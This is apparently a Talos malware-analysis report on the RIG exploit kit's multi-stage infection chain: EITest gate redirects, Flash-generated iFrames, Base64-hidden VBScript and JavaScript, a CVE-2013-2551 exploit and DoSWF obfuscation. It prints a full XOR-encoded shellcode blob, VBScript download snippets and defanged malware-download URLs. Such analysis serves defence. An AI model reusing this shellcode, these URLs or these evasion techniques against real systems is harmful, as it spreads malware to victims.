Talos is monitoring the big notorious Exploit Kits(EK) on an ongoing basis. Since Angler disappeared a few month ago, RIG is one EK which seems to be trying to fill the gap Angler has left. We see an ongoing development on RIG. This report gives more details about the complex infection process the adversaries behind RIG are using to infect their victims and how they attempt to bypass security software and devices.
The adversaries are leveraging Gates (e.g. EITest) to redirect the users to their Landing Page. This leads to a chain of redirects, before the victim finally gets on the landing page of the exploit kit. They are using different methods and stages to deliver the malware files. The same malware file often gets written and executed multiple times on the victim's PC. If one method doesn’t work or is blocked by an Anti-Malware solution, they have a couple of backup methods. All stages and methods are obfuscated, some more, some less.
Many communication parameters e.g. URLs, filenames, etc are individualized for different victims and sessions, which makes it more difficult to detect attacks solely by URLs or document names. We will describe those modifications in the technical details section below.
Infection Process High Level Overview
In this campaign we saw mainly compromised sites, but we are aware of other campaigns redirecting to the RIG EK, where the adversaries also used Malvertising techniques to redirect users to their infection chain.
 |
| Fig. A |
In this campaign the adversaries behind the Gate have added code to the compromised sites which downloads a malicious Flash file. This Flash file itself, creates two malicious iFrames. Like the Flash file, the content of the iFrame(s) is downloaded from the Gate server.
 |
| Fig. B |
It is important to note, that the iFrames are not generated at the same time. The second one is generated and placed into the website a bit later after a timer in the first Flash file times out. We have also seen other campaigns where the second iFrame is not loaded and we only have one infection stage.
 |
| Fig. C |
If we have a look to the first stage, the iFrame is filled with javascript code which redirects the victim to the RIG Exploit Kits landing page.
 |
| Fig. D |
As mentioned in the picture, the Landing Page is an obfuscated HTML page which includes three embedded scripts. These scripts are hidden in three JavaScript variables. The second one downloads another malicious and heavily obfuscated Flash file.
This variant is not the only one we saw. It seems to be that the RIG based EK(s) are flexible enough that the adversaries can change certain parameters on the fly. We have seen other campaigns which were only using a single infection stage or others which replaced the three scripts we are discussing here, with other scripts, e.g. two VBscripts and one Javascript which downloads another Flash file. The only constant is that they are usually stored in these variables called (s) and that they use Base64 to encode them. This is no big surprise. As far as we know, there is at least one other version of RIG aka RIG-v sold in the underground.
 |
| Fig. E |
In the end, all of these scripts are downloading and executing the same malware file which the Exploit Kit wants to install on the victim's machine.
After the timer mentioned in Fig. C times out, the second stage begins. With a few minor differences e.g different session numbers, the second stage is almost the same as the first one.
 |
| Fig. F |
Technical Details
As mentioned above, in this campaign the adversaries were using compromised websites where code similar to the following was added:
Code snippet from the initially infected site:
 |
| Fig. G |
The link to the amocy.top site is a good indicator for that we are facing the ElTest gate here. If the victim visits this side, it downloads a malicious flash file (SWF) which includes obfuscated ActionScript. After deobfuscation the script looks like this:
 |
| Fig. H |
After checking if the user is using a specific version of Internet Explorer, it generates a filename which is used to load a malicious iframe from the same site. You can see in the code above, the variable ‘temp’ is a randomly generated string with a variable length. After generating the string, it randomly adds one of the following extensions to the filename ('html', 'htm', 'jpeg', 'png', 'jpg', 'gif', 'js'). The full generated filename looks like this for example: asd.jpeg
So, the line:
d.innerHTML = <iframe src="<local URL of swf file>' + temp + '"></iframe>
Resolves to something like this:
<iframe src="<local URL of swf file>' + ‘asd.jpeg’ + '"></iframe>
This gets executed two times, which results in embedding a malicious iframe two times into the compromised site. The second attempt happens a bit later after the timer times out. The above generated URLs which are used to fill the iframe are looking like this:
First request:
hxxp://amocy.top/pgioeknieedfacre4rpt6nslpe-8t-ot4b1cm-5ntfmppsn3teeo6aalaaacmnrpkmmpn9eti0n-9a1blr5sepse0coi-elfrplorsepo8or0op3basa7sd1dme9fkiran4mrabecmm/asd.jpeg
Second request (content of this document will be discussed later in the report):
hxxp://amocy.top/pgioeknieedfacre4rpt6nslpe-8t-ot4b1cm-5ntfmppsn3teeo6aalaaacmnrpkmmpn9eti0n-9a1blr5sepse0coi-elfrplorsepo8or0op3basa7sd1dme9fkiran4mrabecmm/rqqjllfd.html
First execution path (asd.jpg)
Even if the first one looks like a JPEG file, it’s not. It is a simple, normal HTML file (see below).
 |
| Fig. I |
This HTML file is doing nothing else than redirecting the victim to the Exploit Kit landing page:
hxxp://dsa.FAITHFULBUSINESSVENTURES.COM/?zniKfrGbJRvMDYA=l3SKfPrfJxzFGMSUb-nJDa9GP0XCRQLPh4SGhKrXCJ-ofSih17OIFxzsqAycFUKCqrF4Qu4Fah2h1QWScEZrmYRPFgVIove8hQLfyhSWksXQ-hbbZwIW-5LGQbM8iVn9xrdBec4vwhKKumlRmLgeQFFd
This loads a large obfuscated HTML file (see below), which includes three variables all called (s). These variables are hiding one base64 encoded VBscript(VBS) and two base64 encoded JavaScript(JS) files. These get executed by the obfuscated script included in the HTML document. These variables are simply Base64 encoded, and they can easily be decoded. After execution, all three download the same final malware that will be installed on the victim’s machine. The only difference? They are trying to exploit different known vulnerabilities.
The large HTML file (truncated for better readability):
 |
| Fig. J |
Let’s have a look to these three scripts.
First Base64 encoded variable "s"
The first Base64 encoded variable "s" can be decoded to the following VBscript script (truncated for better readability):
 |
| Fig. K |
After a couple of tests on the target system, it executes the DoMagic() function, which downloads the main malware payload of the campaign such as ransomware using the URL stored in the script e.g.
hxxp://dsa.FAITHFULBUSINESSVENTURES.COM/index.php?zniKfrGbJRvMDYA=l3SMfPrfJxzFGMSUb-nJDa9GP0XCRQLPh4SGhKrXCJ-ofSih17OIFxzsqAycFUKCqrF4Qu4Fah2h1QWScEZrmYRPFgVIove8hQLfyhSWksXQ-hbbZwIW-5LGQbM8iVn9xrdBec4vwhKKumlRmLgeQFFT6wkZjuyeV7PC7kpzXlBvEQ7bJN0sohfQDmK1JDEwi_SxUjJ8kvzFuw
The HTTP payload it downloads, is simply XOR’ed with a password found in the VBscript (e.g. awMKCDwA), written to disc and executed twice. Once natively in a normal Shell, once as a parameter to the control.exe program which is usually used to open control panel items.
We wrote a small python script which can decode this payload. This means if you have a pcap trace of the infection, you can look for the x-msdownload at the end of the trace, extract the file from the pcap and decode the EK payload files to rebuild the original PE file.
These are the MD5 hashes of the binaries downloaded in some of our campaigns:
D7AB607880B953BA5F87A693278CE14B Gamarue
730B8E27C1BB1A3FADB9C10657E7E046 CRYPTFILE2
D3E91CC75AC06D8AF70127D3B972EF8E (broken)
Second Base64 encoded variable "s"
The 2nd variable "s" from the big HTML file (JavaScript) can be decoded to the following JavaScript code. You can see how the EK inserts random comments like “/*sw7586sdd*/” in between the Javascript code. These comments are changed per session, which means that the Base64 encoded blob looks different in every session. The EK uses the same strategy in the whole infection process.
 | ||
| Fig. L (truncated for better readability) |
This downloads and executes another malicious Flash File (SWF) with following MD5 hash:
c6014a32cc06f862ea44db720dfcf553
We are currently working on fully deobfuscating the code, but what we can say so far is, that the iddqd parameter (looks like the guys behind this like Doom god mode) seems to be a type of shellcode payload which gets decoded at runtime, combined with other strings stored in the SWF, and finally executed by an exploit.
The SWF is heavily obfuscated by the DoSWF Flash tool. This tool comes with multiple options to encrypt and obfuscate Flash files.
 |
| Fig. M |
It is an easy-to-use copy protection tool for Flash files; adversaries can combine multiple obfuscation methods on demand. It’s no big surprise that different SWF files from different RIG campaigns are obfuscated with different DoSWF features.
After we decompiled this SWF, all functions and many variables are replaced with hard to read Unicode characters, as shown below.
 |
| Fig. N |
Most Strings are encrypted and get resolved at runtime e.g. _SafeStr_14.<unicode function name>(-1820302799) below. Thanks to a nice feature of ASV that can evaluate static methods on demand, we can leverage the SWFs own code to decrypt the strings.
 |
| Fig. O |
After cleaning up and removing most of the obfuscation we still end up with awful object oriented spaghetti code. Polymorphic methods, objects and methods assigned to chains of variables, etc. The document class where the code execution starts is _SafeStr_12.
Note: The class names are generated dynamically by the ASV tool which we used to decompile the SWF. These names most likly vary on other setups. Maybe a good time for sending out some thanks to the fantastic support of the ASV guys.
 |
| Fig. P |
After a couple of environment checks regarding OS version, Flash player type, Flash version, & debugger presence, the SWF reads the “iddqd” parameter which we have seen in the Javascript code above. It decodes it and merges it with a string stored inside the SWF (60eb..). Finally, it hands over the reconstructed shell code to the _p78_ function.
 |
| Fig. Q |
_p80_ and _p81_ are doing the decoding magic of the original string:
 |
| Fig. R |
Below is the generated string which is finally stored in the shell variable:
60EB1158B9D1040000498034081985C975F7FFE0E8EAFFFFFFF
11F19191978F0DC1D191998F5C51919194A4C4F2AC24EA04B08
7652DE5D3D016C6B7574DE5D3D057677377D7FDE5D3D3975759
1453D3BDE5D3D3D787D6F78DE5D3D3169702A2BDE5D3D35377D
757591453D29F1851A1919A00B7B3067905D3D4DF1971A1919A
0DAE42868905D3D79F1991A1919A0728DC2E6905D3D7DF16B1A
191992E1A0BC01234390653D71F17B1A191992E9A034363F669
06D3D6DF14B1A1919A02F5A2F4F905D3D61F15D1A1919A0A5F8
32F3905D3D65F12F1A1919A0DD7CB054909D3D99191919F13C1
A1919A0DACB1CFC909D3D9D191919F10D1A1919A0538DAFD090
9D3D91191919F11A1A1919A056F5CE4C909D3D95191919F1EB1
B1919909D3D89191919945D3D0149E6CF945D3D3D49E6CFA09F
8B3363F1CA1B1919A01BA9709D909D3D81191919F1DB1B1919A
033A4D3B8909D3D85191919F1A81B1919909D3DB9191919F16E
1A191992F190753D2D935CE5EFC9915D3D0A90453D2190453D2
590453D59731D7119091919711D1C19194AE6CE92E1937D3D0A
92CC2AEF9486191D191992D632CE931D132BDD91186D135F589
8E7191D19196FF49CEF169D3918191992DE2AD09921196D0190
5D9521930999E3226D1E599DCB6CEDF212DF191959F21C9A7D9
52119589AE01A6BC192753D21935C1925286D11252B169CF819
1919924D3D254AE66D3D5D94553D45F1C319191940409CD9169
DBD191919935C192528169C89191919735D2ACB44904D3D0D92
D4949D3DB1191919910959506CE3730940945D3D5D910959506
CE3945D3D0D49719219191973E690B53DAD191919E68D3DBD19
1919945D3D5D49949D3DB5191919492AD9494949494949494AE
66D3D25E68D3DD11919199A653D0D196D11E66D3D0DE64D3D7D
9A653D51196D11E66D3D51E64D3D7D9A653D5D196D0AE66D3D5
DE64D3D7DF210252B6C1C4AE64D3D6192753D2D71199919192A
C25C4A1AF74E90753D59E64D3D6992653D71F0BBE7E6E646474
44298DDC5191919DA9AF5094A4C4F4E731D7119091919711D18
191992F392C02AE64E90753D3D90453D35E64A0D92E94F711D1
81919E64A21E66D3D314E4E4FE64A2571199919194E4FE64A09
4E4EE66D3D29E66D3D294EE64A559CD9169CA41919194E71991
91919731A4E731871191919D9E66D3D59E64A3592E99AE7E616
9D821919194E4FE64A29905D3D099CD9169D9F1919199CF46D6
6996419196D604CE60A731D7119091919E66D3D01905D3D3D4E
E64A0D4E92F1945D3D0D49E66D3D014C4FE64A3D925D3D0992D
69CD96D3192453D0D92CE22D16A03224D3D016A09931D03291D
30925D3D095B5822D16BF322D16BF992453D054E4E4E4FE64A2
D4E945D3D0D49E66D3D014C4FE64A3171199919194E4CE64A09
2AE65E4FE64A1592DE464744429ADD09DA9AF5097DB82919191
94A9259154C4F9269154E924F0190553D019CCB169D94191919
2AF4925B259267299245096192D490453D099CC26D73D8D0149
31E257816A7D9651A9AD8F99ADE1B1AD17F20366CFE925D0A39
1ADB9A650A011992E46F5B92C492311AF39AD91D905D3D05935
C19D8D21416A7D91AC15C935C199DD96CE990453D0D925D3D0D
92453D091AD8225D3D016D3C925D3D055E73194422650A016BA
7922F924F019CCB169C6CE6E6E62AD9464744429ADD09DA925D
0A3D941D6116AE1509925D0A05941D91921D091ADBF2C6F1191
91919419AD913DADAE6E6E6E62822786E54525A5D6E5822716D
6D692336367D6A78377F78706D717F6C757B6C6A70777C6A6A6
F7C776D6C6B7C6A377A76743670777D7C613769716926637770
527F6B5E7B534B6F545D405824752A4A547F496B7F5361635F5
E544A4C7B3477535D78205E4929415A4B485549712D4A5E7152
6B415A5334767F4A7071282E56505F61636A6858607A5F4C525
A686B5F2D486C2D5F78712B7128484E4A7A5C436B74404B495F
7E4F50766F7C217148557F60714A4E726A414834717B7B436E5
04E342C555E487B5421704F7720616B7D5B7C7A2D6F6E715252
6C74754B74557E7C485F5F4D2F6E7243736C607C4F2E495A2E7
2696341755B6F5C482E7B5357296A76717F485D745228535D5C
6870465A604A2A403F7D7F7E6A7D7F24282F201919190000000
0
It is interesting that this is the same binary blob with small differences, like the one we will see later on in the third variable (s) javascript script, which is stored in the parameter of the called ty() function at the end.
It appears to be the payload which all exploits are executing at the end. The binary blob is XOR’ed with 0x19 and if we decode it, we can see the URL from which it finally loads the EK payload malware. In other words, it loads the final malware which is installed on the victim's PC. It is the same file we have seen above:
hxxp://dsa.faithfulbusinessventures.com/index.php?zniKfrGbJRvMDYA=l3SMfPrfJxzFGMSUb-nJDa9GP0XCRQLPh4SGhKrXCJ-ofSih17OIFxzsqAycFUKCqrF4Qu4Fah2h1QWScEZrmYRPFgVIove8hQLfyhSWksXQ-hbbZwIW-5LGQbM8iVn9xrdBec4vwhKKumlRmLgeQFFT6wkZjuyeV7PC7kpzXlBvEQ7bJN0sohfQDmK1JDEqi_-7SDl9kKM&dfgsdf=202
Before the “Malware Download URL”, it also shows us an old friend ‘awMKCDwA’,
---snip---
1;awMKCDwA;hxxp://dsa.faithfulbusinessventures.com/index….
---snip---
...the string which we have already seen in the VBS script above. The one which is necessary to XOR decode the malware which finally gets downloaded.
Third Base64 encoded variable "s"
The 3rd variable "s" in the large HTML file is obfuscated JavaScript once again:
 | ||
| Fig. S (truncated for better readability) |
After deobfuscating it, we recognized this one is exploiting CVE-2013-2551 (aka MS13-037) to download and infect the victim with the same malware which was downloaded by the Base64 encoded scripts stored in the other variable s. The deobfuscated code is almost a one to one copy of some exploit samples for CVE-2013-2551 which we found in the internet.
Like mentioned above, the parameter of the ty() value is the actual shellcode which gets executed post-exploitation. Like above, the binary data is XOR’ed with 0x19 and includes the URL to download the final malware:
hxxp://dsa.faithfulbusinessventures.com/index.php?zniKfrGbJRvMDYA=l3SMfPrfJxzFGMSUb-nJDa9GP0XCRQLPh4SGhKrXCJ-ofSih17OIFxzsqAycFUKCqrF4Qu4Fah2h1QWScEZrmYRPFgVIove8hQLfyhSWksXQ-hbbZwIW-5LGQbM8iVn9xrdBec4vwhKKumlRmLgeQFFT6wkZjuyeV7PC7kpzXlBvEQ7bJN0sohfQDmK1JDEqi_CyS3Y&dfgsdf=169
Second Execution Path (rqqjllfd.html)
Now, let’s get back to the other execution path. The timer which we have mentioned above times out and the amocy.top EITest gate starts the other infection chain. This one is very similar to the one we just looked at. It is actually highly redundant. It is also downloading a similar HTML file with another randomly generated name like we described above.
hxxp://amocy.top/pgioeknieedfacre4rpt6nslpe-8t-ot4b1cm-5ntfmppsn3teeo6aalaaacmnrpkmmpn9eti0n-9a1blr5sepse0coi-elfrplorsepo8or0op3basa7sd1dme9fkiran4mrabecmm/rqqjllfd.html
 | |
| Fig. T |
This redirects the victim to another large HTML file, again similar to the one we have seen above. We see the typical three Base64 encoded variables "s" and they include similar malicious scripts like the ones from stage one:
 |
| Fig. U (truncated for better readability) |
The variable values look different to the ones above, but after decoding them, they end up in almost the same malicious scripts like we have seen above.
First Base64 variable "s" (again, VBscript):
You can see below, the session ID changed in the URL the rest is more or less the same.
 |
| Fig. V (truncated for better readability) |
Second variable "s" (again, almost the same JavaScript like above):
Same for the second one. The URL is again a bit different (session id), but it is the same malicious SWF file, even if the iddqd parameter is different, it is downloading the same malicious malware at the end like we have seen in the first stage.
 |
| Fig. W (truncated for better readability) |
Third variable "s" (and again, JavaScript):
Same for the third one, we are seeing our friend function ty() again, just the content is adapted to the new session.
 |
| Fig. X (truncated for better readability) |
This shows all three files are pretty much the same files from a functional perspective, like the ones which we have seen in the previous stage. The main reason they look different in their obfuscated version is that the EK inserts random comments into the JS code as discussed above. You can see some examples below:
Same JavaScript code, different random comments:
Stage 1:
/*sdfgkdfhd20708hfjfs*//*kj24459sdfjdk71976fg*/function u1(e){return unescape(e)}function p1(e){return parseInt(e,16)}
Stage 2:
/*sdfgkdfhd83247hfjfs*//*kj10036sdfjdk60483fg*/function u1(e){return unescape(e)}function p1(e){return parseInt(e,16)}
The other minor difference is something which looks like session numbers. E.g.
Stage 1:
Dim gds, jht, ytr
gds = "hxxp://dsa.faithfulbusinessventures.com/index.php?znePf7KfLx7HA4I=l3SMfPrfJxzFGMSUb-nJDa9GP0XCRQLPh4SGhKrXCJ-ofSih17OIFxzsqAycFUKCqrF4Qu4Fah2h1QWScEZrmYRPFgVIove8hQLfyhSWksXQ-hbbZwIW-5LGQbM8iVn9xrdBec4vwhKKumlRmLgeQFFT6wkZjuyeV7PC7kpzXlBvEQ7bJN0sohfQDmK1JDEwi_SxUjJ8kvzFuw"
jht = tra(7) & ".exe"
Stage 2:
Dim gds, jht, ytr
gds = "hxxp://dsa.faithfulbusinessventures.com/index.php?zniKfrGbJRvMDYA=l3SMfPrfJxzFGMSUb-nJDa9GP0XCRQLPh4SGhKrXCJ-ofSih17OIFxzsqAycFUKCqrF4Qu4Fah2h1QWScEZrmYRPFgVIove8hQLfyhSWksXQ-hbbZwIW-5LGQbM8iVn9xrdBec4vwhKKumlRmLgeQFFT6wkZjuyeV7PC7kpzXlBvEQ7bJN0sohfQDmK1JDEwi_SxUjJ8kvzFuw"
jht = tra(7) & ".exe"
The rest of the functional code is the same. It also results in downloading the same malware files like the ones we have seen above.
Network overview
To give you an overview of what this looks like on a network, see the summary below.
User visits infected site:
Downloads Flash file (SWF) from ElTest Gate:
hxxp://amocy.top/pgioeknieedfacre4rpt6nslpe-8t-ot4b1cm-5ntfmppsn3teeo6aalaaacmnrpkmmpn9eti0n-9a1blr5sepse0coi-elfrplorsepo8or0op3basa7sd1dme9fkiran4mrabecmm
Flash file (SWF) creates malicious IFRAME(s) which downloads:
hxxp://amocy.top/pgioeknieedfacre4rpt6nslpe-8t-ot4b1cm-5ntfmppsn3teeo6aalaaacmnrpkmmpn9eti0n-9a1blr5sepse0coi-elfrplorsepo8or0op3basa7sd1dme9fkiran4mrabecmm/asd.jpg
and a bit later (after timer times out):
hxxp://amocy.top/pgioeknieedfacre4rpt6nslpe-8t-ot4b1cm-5ntfmppsn3teeo6aalaaacmnrpkmmpn9eti0n-9a1blr5sepse0coi-elfrplorsepo8or0op3basa7sd1dme9fkiran4mrabecmm/rqqjllfd.html
asd.jpg is a non-obfuscated HTML file, redirecting to:
document.location.href = "hxxp://dsa.FAITHFULBUSINESSVENTURES.COM/?zniKfrGbJRvMDYA=l3SKfPrfJxzFGMSUb-nJDa9GP0XCRQLPh4SGhKrXCJ-ofSih17OIFxzsqAycFUKCqrF4Qu4Fah2h1QWScEZrmYRPFgVIove8hQLfyhSWksXQ-hbbZwIW-5LGQbM8iVn9xrdBec4vwhKKumlRmLgeQFFd";
this loads the large HTML file including the three variables (s) mentioned in the technical details section. This might be diffrent in other campaigns e.g. two VBscripts and one SWF for example.
s(1) Base64 blob1 – Vbscript → downloads malware
s(2) Base64 blob2 – JS downloads → SWF → downloads malware
s(3) Base64 blob3 – JS → downloads malware
rqqjlld.html is a similar non-obfuscated HTML file, which redirects to:
document.location.href = "hxxp://dsa.FAITHFULBUSINESSVENTURES.COM/?znePf7KfLx7HA4I=l3SKfPrfJxzFGMSUb-nJDa9GP0XCRQLPh4SGhKrXCJ-ofSih17OIFxzsqAycFUKCqrF4Qu4Fah2h1QWScEZrmYRPFgVIove8hQLfyhSWksXQ-hbbZwIW-5LGQbM8iVn9xrdBec4vwhKKumlRmLgeQFFd";
this is another HTML file similar to the one above including again the three variables (s)
s(1) Base64 blob1 – Vbscript → downloads malware
s(2) Base64 blob2 – JS downloads → SWF → downloads malware
s(3) Base64 blob3 – JS → downloads malware
Let’s see what the scripts in the three s variables are doing:
Stage 1. Var S(1) b64 blob Vbscript
hxxp://dsa.faithfulbusinessventures.com/index.php?zniKfrGbJRvMDYA=l3SMfPrfJxzFGMSUb-nJDa9GP0XCRQLPh4SGhKrXCJ-ofSih17OIFxzsqAycFUKCqrF4Qu4Fah2h1QWScEZrmYRPFgVIove8hQLfyhSWksXQ-hbbZwIW-5LGQbM8iVn9xrdBec4vwhKKumlRmLgeQFFT6wkZjuyeV7PC7kpzXlBvEQ7bJN0sohfQDmK1JDEwi_SxUjJ8kvzFuw
Downloads <final malware e.g. ransomware>
Stage 2. Var S(1) b64 blob VBscript:
hxxp://dsa.faithfulbusinessventures.com/index.php?znePf7KfLx7HA4I=l3SMfPrfJxzFGMSUb-nJDa9GP0XCRQLPh4SGhKrXCJ-ofSih17OIFxzsqAycFUKCqrF4Qu4Fah2h1QWScEZrmYRPFgVIove8hQLfyhSWksXQ-hbbZwIW-5LGQbM8iVn9xrdBec4vwhKKumlRmLgeQFFT6wkZjuyeV7PC7kpzXlBvEQ7bJN0sohfQDmK1JDEwi_SxUjJ8kvzFuw
Downloads <final malware e.g. ransomware>
Stage 1. Var S(2) JS:
hxxp://dsa.faithfulbusinessventures.com/index.php?zniKfrGbJRvMDYA=l3SMfPrfJxzFGMSUb-nJDa9GP0XCRQLPh4SGhKrXCJ-ofSih17OIFxzsqAycFUKCqrF4Qu4Fah2h1QWScEZrmYRPFgVIove8hQLfyhSWksXQ-hbbZwIW-5LGQbM8iVn9xrdBec4vwhKKumlRmLgeQFFT6wkZjuyeV7PC7kpzXlBxFlvbJN0sohfQDmK1JDEqi_66QDp-1g
Stage 2. Var S(2) JS:
hxxp://dsa.faithfulbusinessventures.com/index.php?znePf7KfLx7HA4I=l3SMfPrfJxzFGMSUb-nJDa9GP0XCRQLPh4SGhKrXCJ-ofSih17OIFxzsqAycFUKCqrF4Qu4Fah2h1QWScEZrmYRPFgVIove8hQLfyhSWksXQ-hbbZwIW-5LGQbM8iVn9xrdBec4vwhKKumlRmLgeQFFT6wkZjuyeV7PC7kpzXlBxFlvbJN0sohfQDmK1JDEqi_GzRDh-1g
Both are downloading the Flash file (SWF) with MD5 c6014a32cc06f862ea44db720dfcf553, but are using slightly different iddqd variables.
Stage 1. Var S(2) downloaded SWF
hxxp://dsa.faithfulbusinessventures.com/index.php?zniKfrGbJRvMDYA=l3SMfPrfJxzFGMSUb-nJDa9GP0XCRQLPh4SGhKrXCJ-ofSih17OIFxzsqAycFUKCqrF4Qu4Fah2h1QWScEZrmYRPFgVIove8hQLfyhSWksXQ-hbbZwIW-5LGQbM8iVn9xrdBec4vwhKKumlRmLgeQFFT6wkZjuyeV7PC7kpzXlBvEQ7bJN0sohfQDmK1JDEqi_-7SDl9kKM&dfgsdf=202
Downloads <final malware e.g. ransomware>
Stage 2. Var S(2) downloaded SWF
hxxp://dsa.faithfulbusinessventures.com/index.php?znePf7KfLx7HA4I=l3SMfPrfJxzFGMSUb-nJDa9GP0XCRQLPh4SGhKrXCJ-ofSih17OIFxzsqAycFUKCqrF4Qu4Fah2h1QWScEZrmYRPFgVIove8hQLfyhSWksXQ-hbbZwIW-5LGQbM8iVn9xrdBec4vwhKKumlRmLgeQFFT6wkZjuyeV7PC7kpzXlBvEQ7bJN0sohfQDmK1JDEqi_-_Rjt8kKM&dfgsdf=293
Downloads <final malware e.g. ransomware>
Stage 1. Var S(3) JS
hxxp://dsa.faithfulbusinessventures.com/index.php?zniKfrGbJRvMDYA=l3SMfPrfJxzFGMSUb-nJDa9GP0XCRQLPh4SGhKrXCJ-ofSih17OIFxzsqAycFUKCqrF4Qu4Fah2h1QWScEZrmYRPFgVIove8hQLfyhSWksXQ-hbbZwIW-5LGQbM8iVn9xrdBec4vwhKKumlRmLgeQFFT6wkZjuyeV7PC7kpzXlBvEQ7bJN0sohfQDmK1JDEqi_CyS3Y&dfgsdf=169
Downloads <final malware e.g. ransomware>
Stage 2. Var S(3) JS
hxxp://dsa.faithfulbusinessventures.com/index.php?znePf7KfLx7HA4I=l3SMfPrfJxzFGMSUb-nJDa9GP0XCRQLPh4SGhKrXCJ-ofSih17OIFxzsqAycFUKCqrF4Qu4Fah2h1QWScEZrmYRPFgVIove8hQLfyhSWksXQ-hbbZwIW-5LGQbM8iVn9xrdBec4vwhKKumlRmLgeQFFT6wkZjuyeV7PC7kpzXlBvEQ7bJN0sohfQDmK1JDEqi_a6S3Y&dfgsdf=169
Downloads <final malware e.g. ransomware>
Summary
We have seen that the adversaries behind the RIG campaign are using gates to redirect their victims to their Exploit Kit. This makes it difficult to follow the whole infection chain and inserts another layer of obfuscation. They are combining different web technologies (e.g. JavaScript, Flash, VBscript) to obfuscate the attack and make it more difficult to reverse engineer and determine how the attack progresses to completion. By changing comment sections in their code per session and by using dynamically changing encoding and encryption for all files transmitted over the wire, they make sure that the scripts are looking different for every session, and ensures they can’t be detected by simple string matches or hash values. The tools and techniques used are giving threat actors extended flexibility to change certain parts of the infection chain on demand.
Protecting Users
Additional ways our customers can detect and block this threat are listed below.
Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors. CWS or WSA web scanning prevents access to malicious websites and detects malware used in these attacks. The Network Security protection of IPS and NGFW have up-to-date signatures to detect malicious network activity by threat actors.
ESA can block malicious emails sent by threat actors as part of their campaign.